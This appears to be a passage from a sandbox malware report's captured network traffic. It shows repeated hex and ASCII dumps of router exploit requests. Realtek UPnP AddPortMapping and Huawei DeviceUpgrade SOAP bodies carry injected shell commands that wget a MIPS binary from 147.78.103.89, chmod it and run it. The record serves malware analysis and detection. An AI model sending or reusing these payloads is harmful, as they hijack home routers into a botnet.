45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:34.872071028 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:42.295748949 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:56.887402058 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:27.094516993 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      136192.168.2.1537320156.254.108.25537215
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:28.527345896 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:30.072119951 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:31.896073103 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:35.640016079 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
